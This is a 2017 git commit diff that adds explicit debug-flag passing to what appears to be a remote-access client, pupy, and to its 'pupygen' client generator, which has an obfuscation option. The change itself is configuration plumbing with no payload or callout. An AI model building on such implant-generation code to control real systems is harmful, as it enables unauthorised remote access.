explicit debug option passing

This commit is contained in:
Oleksii Shevchuk 2017-04-21 00:01:31 +03:00
parent 7be06557d7
commit 69bfb1c116
2 changed files with 11 additions and 4 deletions

View File

@ -79,7 +79,6 @@ logging.getLogger().setLevel(logging.WARNING)
try:
import pupy
except ImportError, e:
print 'Couldnt load pupy: {}'.format(e)
mod = imp.new_module("pupy")
mod.__name__ = "pupy"
mod.__file__ = "pupy://pupy"
@ -107,6 +106,8 @@ def obtain(proxy):
""" allows to convert netref types into python native types """
return safe_obtain(proxy)
debug = False
setattr(pupy, 'obtain', obtain) # I don't see a better spot to put this util
LAUNCHER = "connect" # the default launcher to start when no argv
@ -268,7 +269,6 @@ def handle_sigchld(*args, **kwargs):
os.waitpid(-1, os.WNOHANG)
attempt = 0
debug = False
def main():
global LAUNCHER
@ -295,9 +295,13 @@ def main():
nargs=argparse.REMAINDER,
help="launcher arguments")
args = parser.parse_args()
if args.debug:
if not debug:
debug = bool(args.debug)
if debug:
logging.getLogger().setLevel(logging.DEBUG)
debug = bool(args.debug)
LAUNCHER = args.launcher
LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))
@ -327,6 +331,7 @@ def main():
pupy.infos['launcher_args'] = LAUNCHER_ARGS
pupy.infos['launcher_inst'] = launcher
pupy.infos['transport'] = launcher.get_transport()
pupy.infos['debug'] = debug
pupy.infos['native'] = not getattr(pupy, 'pseudo', False)
exited = False

View File

@ -128,6 +128,7 @@ def get_raw_conf(conf, obfuscate=False):
'import network.conf',
'LAUNCHER={}'.format(repr(conf['launcher'])),
'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
'debug={}'.format(bool(conf.get('debug', False))),
offline_script
])
@ -446,6 +447,7 @@ def pupygen(args, config):
conf['launcher']=args.launcher
conf['launcher_args']=args.launcher_args
conf['offline_script']=script_code
conf['debug']=args.debug
outpath=args.output
if args.format=="client":
print ok+"Generate client: {}/{}".format(args.os, args.arch)